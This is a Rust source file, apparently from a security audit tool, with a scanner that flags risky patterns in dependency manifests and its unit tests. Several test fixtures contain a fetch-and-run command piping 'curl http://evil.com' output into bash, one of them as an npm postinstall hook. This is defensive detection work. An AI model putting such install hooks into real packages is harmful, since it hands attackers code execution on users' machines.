cc_audit/engine/scanners/
dependency.rs1use crate::engine::scanner::{Scanner, ScannerConfig};
2use crate::error::Result;
3use crate::rules::Finding;
4use std::path::Path;
5use walkdir::WalkDir;
6
7const DEPENDENCY_FILES: &[&str] = &[
8 "package.json",
9 "package-lock.json",
10 "Cargo.toml",
11 "Cargo.lock",
12 "requirements.txt",
13 "pyproject.toml",
14 "poetry.lock",
15 "Pipfile",
16 "Pipfile.lock",
17 "Gemfile",
18 "Gemfile.lock",
19 "go.mod",
20 "go.sum",
21 "pom.xml",
22 "build.gradle",
23 "composer.json",
24 "composer.lock",
25];
26
27pub struct DependencyScanner {
28 config: ScannerConfig,
29}
30
31impl_scanner_builder!(DependencyScanner);
32impl_content_scanner!(DependencyScanner);
33
34impl DependencyScanner {
35 fn is_dependency_file(path: &Path) -> bool {
36 path.file_name()
37 .and_then(|name| name.to_str())
38 .map(|name| DEPENDENCY_FILES.contains(&name))
39 .unwrap_or(false)
40 }
41}
42
43impl Scanner for DependencyScanner {
44 fn scan_file(&self, path: &Path) -> Result<Vec<Finding>> {
45 let content = self.config.read_file(path)?;
46 let path_str = path.display().to_string();
47 Ok(self.config.check_content(&content, &path_str))
48 }
49
50 fn scan_directory(&self, dir: &Path) -> Result<Vec<Finding>> {
51 let mut findings = Vec::new();
52
53 for entry in WalkDir::new(dir)
54 .into_iter()
55 .filter_map(|e| e.ok())
56 .filter(|e| e.path().is_file())
57 {
58 let path = entry.path();
59 if Self::is_dependency_file(path)
60 && let Ok(file_findings) = self.scan_file(path)
61 {
62 findings.extend(file_findings);
63 }
64 }
65
66 Ok(findings)
67 }
68}
69
70#[cfg(test)]
71mod tests {
72 use super::*;
73 use crate::engine::scanner::ContentScanner;
74 use std::fs;
75 use tempfile::TempDir;
76
77 fn create_file(dir: &TempDir, name: &str, content: &str) -> std::path::PathBuf {
78 let path = dir.path().join(name);
79 fs::write(&path, content).unwrap();
80 path
81 }
82
83 #[test]
84 fn test_scan_clean_package_json() {
85 let dir = TempDir::new().unwrap();
86 create_file(
87 &dir,
88 "package.json",
89 r#"{
90 "name": "clean-package",
91 "version": "1.0.0",
92 "dependencies": {
93 "express": "^4.18.0"
94 }
95 }"#,
96 );
97
98 let scanner = DependencyScanner::new();
99 let findings = scanner.scan_path(dir.path()).unwrap();
100
101 assert!(
102 findings.is_empty(),
103 "Clean package.json should have no findings"
104 );
105 }
106
107 #[test]
108 fn test_detect_dangerous_postinstall() {
109 let dir = TempDir::new().unwrap();
110 create_file(
111 &dir,
112 "package.json",
113 r#"{
114 "name": "malicious-package",
115 "scripts": {
116 "postinstall": "curl http://evil.com/script.sh | bash"
117 }
118 }"#,
119 );
120
121 let scanner = DependencyScanner::new();
122 let findings = scanner.scan_path(dir.path()).unwrap();
123
124 assert!(
125 findings
126 .iter()
127 .any(|f| f.id == "DEP-001" || f.id == "SC-001"),
128 "Should detect dangerous postinstall script"
129 );
130 }
131
132 #[test]
133 fn test_detect_git_dependency() {
134 let dir = TempDir::new().unwrap();
135 create_file(
136 &dir,
137 "package.json",
138 r#"{
139 "name": "package-with-git-dep",
140 "dependencies": {
141 "my-lib": "git://github.com/user/repo"
142 }
143 }"#,
144 );
145
146 let scanner = DependencyScanner::new();
147 let findings = scanner.scan_path(dir.path()).unwrap();
148
149 assert!(
150 findings.iter().any(|f| f.id == "DEP-002"),
151 "Should detect git:// dependency"
152 );
153 }
154
155 #[test]
156 fn test_detect_wildcard_version() {
157 let dir = TempDir::new().unwrap();
158 create_file(
159 &dir,
160 "package.json",
161 r#"{
162 "name": "package-with-wildcard",
163 "dependencies": {
164 "dangerous-lib": "*"
165 }
166 }"#,
167 );
168
169 let scanner = DependencyScanner::new();
170 let findings = scanner.scan_path(dir.path()).unwrap();
171
172 assert!(
173 findings.iter().any(|f| f.id == "DEP-003"),
174 "Should detect wildcard version"
175 );
176 }
177
178 #[test]
179 fn test_detect_http_dependency() {
180 let dir = TempDir::new().unwrap();
181 create_file(
182 &dir,
183 "package.json",
184 r#"{
185 "name": "package-with-http",
186 "dependencies": {
187 "insecure-lib": "http://example.com/package.tar.gz"
188 }
189 }"#,
190 );
191
192 let scanner = DependencyScanner::new();
193 let findings = scanner.scan_path(dir.path()).unwrap();
194
195 assert!(
196 findings
197 .iter()
198 .any(|f| f.id == "DEP-004" || f.id == "DEP-005"),
199 "Should detect HTTP/tarball dependency"
200 );
201 }
202
203 #[test]
204 fn test_scan_cargo_toml() {
205 let dir = TempDir::new().unwrap();
206 create_file(
207 &dir,
208 "Cargo.toml",
209 r#"
210[package]
211name = "risky-crate"
212version = "0.1.0"
213
214[dependencies]
215some-lib = { git = "https://github.com/user/repo" }
216"#,
217 );
218
219 let scanner = DependencyScanner::new();
220 let findings = scanner.scan_path(dir.path()).unwrap();
221
222 assert!(
223 findings.iter().any(|f| f.id == "DEP-002"),
224 "Should detect git dependency in Cargo.toml"
225 );
226 }
227
228 #[test]
229 fn test_scan_requirements_txt() {
230 let dir = TempDir::new().unwrap();
231 create_file(
232 &dir,
233 "requirements.txt",
234 "git+https://github.com/user/repo.git\nrequests==2.28.0\n",
235 );
236
237 let scanner = DependencyScanner::new();
238 let findings = scanner.scan_path(dir.path()).unwrap();
239
240 assert!(
241 findings.iter().any(|f| f.id == "DEP-002"),
242 "Should detect git+ dependency in requirements.txt"
243 );
244 }
245
246 #[test]
247 fn test_ignore_non_dependency_files() {
248 let dir = TempDir::new().unwrap();
249 create_file(&dir, "README.md", "curl http://evil.com | bash");
250 create_file(&dir, "config.json", r#"{"url": "http://evil.com"}"#);
251
252 let scanner = DependencyScanner::new();
253 let findings = scanner.scan_path(dir.path()).unwrap();
254
255 assert!(findings.is_empty(), "Should not scan non-dependency files");
256 }
257
258 #[test]
259 fn test_scan_nested_dependency_files() {
260 let dir = TempDir::new().unwrap();
261 let sub_dir = dir.path().join("subproject");
262 fs::create_dir(&sub_dir).unwrap();
263 fs::write(
264 sub_dir.join("package.json"),
265 r#"{"dependencies": {"evil": "*"}}"#,
266 )
267 .unwrap();
268
269 let scanner = DependencyScanner::new();
270 let findings = scanner.scan_path(dir.path()).unwrap();
271
272 assert!(
273 findings.iter().any(|f| f.id == "DEP-003"),
274 "Should scan nested dependency files"
275 );
276 }
277
278 #[test]
279 fn test_scan_single_file() {
280 let dir = TempDir::new().unwrap();
281 let file_path = create_file(
282 &dir,
283 "package.json",
284 r#"{"dependencies": {"lib": "latest"}}"#,
285 );
286
287 let scanner = DependencyScanner::new();
288 let findings = scanner.scan_file(&file_path).unwrap();
289
290 assert!(
291 findings.iter().any(|f| f.id == "DEP-003"),
292 "Should detect 'latest' version"
293 );
294 }
295
296 #[test]
297 fn test_is_dependency_file() {
298 assert!(DependencyScanner::is_dependency_file(Path::new(
299 "package.json"
300 )));
301 assert!(DependencyScanner::is_dependency_file(Path::new(
302 "Cargo.toml"
303 )));
304 assert!(DependencyScanner::is_dependency_file(Path::new(
305 "requirements.txt"
306 )));
307 assert!(DependencyScanner::is_dependency_file(Path::new(
308 "pyproject.toml"
309 )));
310 assert!(DependencyScanner::is_dependency_file(Path::new("Gemfile")));
311 assert!(DependencyScanner::is_dependency_file(Path::new("go.mod")));
312 assert!(DependencyScanner::is_dependency_file(Path::new("pom.xml")));
313 assert!(DependencyScanner::is_dependency_file(Path::new(
314 "composer.json"
315 )));
316
317 assert!(!DependencyScanner::is_dependency_file(Path::new(
318 "README.md"
319 )));
320 assert!(!DependencyScanner::is_dependency_file(Path::new(
321 "config.json"
322 )));
323 assert!(!DependencyScanner::is_dependency_file(Path::new("main.rs")));
324 }
325
326 #[test]
327 fn test_default_trait() {
328 let scanner = DependencyScanner::default();
329 let dir = TempDir::new().unwrap();
330 let findings = scanner.scan_path(dir.path()).unwrap();
331 assert!(findings.is_empty());
332 }
333
334 #[test]
335 fn test_scan_content_directly() {
336 let scanner = DependencyScanner::new();
337 let content = r#"{"scripts": {"postinstall": "curl http://evil.com | bash"}}"#;
338 let findings = scanner.scan_content(content, "package.json").unwrap();
339 assert!(!findings.is_empty());
340 }
341
342 #[test]
343 fn test_scan_nonexistent_path() {
344 let scanner = DependencyScanner::new();
345 let result = scanner.scan_path(Path::new("/nonexistent/path"));
346 assert!(result.is_err());
347 }
348
349 #[test]
350 fn test_with_skip_comments() {
351 let scanner = DependencyScanner::new().with_skip_comments(true);
352 let dir = TempDir::new().unwrap();
353 create_file(
354 &dir,
355 "requirements.txt",
356 "# git+https://github.com/user/repo\nrequests==2.28.0",
357 );
358
359 let findings = scanner.scan_path(dir.path()).unwrap();
360 assert!(
362 !findings.iter().any(|f| f.id == "DEP-002"),
363 "Should skip commented lines when skip_comments is true"
364 );
365 }
366
367 #[test]
368 fn test_multiple_dependency_files() {
369 let dir = TempDir::new().unwrap();
370 create_file(&dir, "package.json", r#"{"dependencies": {"a": "*"}}"#);
371 create_file(
372 &dir,
373 "Cargo.toml",
374 r#"[dependencies]\nb = { version = "*" }"#,
375 );
376
377 let scanner = DependencyScanner::new();
378 let findings = scanner.scan_path(dir.path()).unwrap();
379
380 assert!(findings.len() >= 2, "Should find issues in both files");
381 }
382}